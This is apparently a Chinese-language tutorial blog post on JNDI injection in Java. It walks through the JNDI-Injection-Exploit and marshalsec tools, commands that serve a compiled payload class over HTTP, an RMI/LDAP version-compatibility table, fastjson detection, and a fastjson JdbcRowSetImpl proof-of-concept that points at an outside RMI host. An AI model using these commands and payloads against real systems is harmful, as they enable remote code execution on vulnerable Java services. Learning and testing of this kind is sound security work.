前言
上次讲到JNDI注入这个玩意，但是没有细讲，现在就给它详细地讲个明白。
JNDI注入
那什么是JNDI注入呢，JNDI全称为 Java Naming and Directory Interface（Java命名和目录接口），是一组应用程序接口，为开发人员查找和访问各种资源提供了统一的通用接口，可以用来定义用户、网络、机器、对象和服务等各种资源，NDI支持的服务主要有：DNS、LDAP、CORBA、RMI等。
RMI：远程方法调用注册表
LDAP：轻量级目录访问协议
我说白了JNDI其实就是一个接口，可以通过这个接口去调用一些远程服务。
先新建一个项目叫JNDI-demo。
JavaEE建议选择8。
接着新建一个类叫JNDIdemo。
写入以下的代码，当Java想要远程调用一个对象的时候，可以用javax.naming.InitialContext这个类的lookup方法来调用，这个调用支持Rmi和Ldap协议。
package com.sf.maven.jndidemo;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIdemo {
public static void main(String[] args) throws NamingException {
//创建rmi、ldap服务
InitialContext ic = new InitialContext();
//调用服务
ic.lookup("");
}
}JNDI-Injection-Exploit
我们先创建一个rmi服务，还是利用JNDI-Injection-Exploit这个工具，命令就是弹出一个计算机。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 8.xxx.xxx。xxx
代码填入我们的链接，直接运行代码可以看到弹出计算机。
marshalsec-0.0.3-SNAPSHOT
就相当于我本地电脑通过rmi去请求一个远程的class文件，并且执行里面的代码。如果我们换一个工具来搞的话效果会更直观，我们先新建一个名为Test的Java文件。
写入以下的代码，就是一个命令执行，弹出计算机。
来到Test的目录下面，把它编译成.class文件。
javac .\Test.java
把这个class文件放到web目录上面，或者你开个临时http服务也行。
python -m http.server 8080现在利用marshalsec-0.0.3-SNAPSHOT-all.jar这个工具来生成调用链接，这个就没有JNDI-Injection-Exploit那么方便，要像上面那样自己编写class文件，不会根据命令给你自动生成。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test //启动LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test //启动RMI服务
可以看到会生成一个端口连接。
使用远程调用。
lookup(“ldap://xx.xx.xx.xx:1389/Test”)
lookup(“rmi://xx.xx.xx.xx:1099/Test”）
妈的不知道为啥一直弹不了计算机出来，但是RMI服务和http服务是显示有连接的，你妹的。
而且我java版本都是在1.8.0_112的啊。
崩溃啦，有无了解的师傅可以指点一二。
哎，接着我们来看看不同版本JDK或者不同的工具，是否都能调用JDK和RMI，过程就是不断换JDK版本去测试就行了，具体我就不演示了，直接给给过吧。
PS：8U112相当于1.8.0_112，其它的也是同理。
RMI marshalsec工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以
RMI jndi-inject工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以
LDAP - marshalsec工具
JDK 17
11版本
8u362
8U112 都可以
LDAP - jndi-inject工具
DK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以这里网上搞的包浆图，可以看到不同的java版本所能调用的协议也是不同的。
或者你用其它的类也能达到JNDI注入。
黑盒测试
那我们怎样去知道有无JNDI注入这个漏洞呢，我们可以通过发送错误数据去判断，这里发送个错误的json数据，然后报错中返回了fastjson，说明可能存在JNDI注入，然后利用DNSlog验证一下即可。
POC编写
假如我们知道有fastjson这个漏洞，该如何编写poc呢，上次我们演示fastjson的时候是自己写一个类com.wlwznb.user。
但是实战中我们不可能自己去写一个，得用java自带的，所以我们要指定com.sun.rowset.JdbcRowSetImpl这个类，但是上面我们说是通过javax.naming.InitialContext.lookup()这个方法来实现远程调用的，那为啥不指定这个。
其实是com.sun.rowset.JdbcRowSetImpl这个类里面自带了InitialContext.lookup()方法，由上面图片可见。
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.94.236.117:1099/wktunx","autoCommit":true}总结
说实话JNDI对于不熟悉java的同学来说还是挺牢的，毕竟涉及了很多java开发的东西。
最后还是要声明一下，以上仅为个人的拙见，如何有不对的地方，欢迎各位师傅指正与补充，有兴趣的师傅可以一起交流学习。
参考文章：
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
https://blog.csdn.net/wushangyu32335/article/details/136131244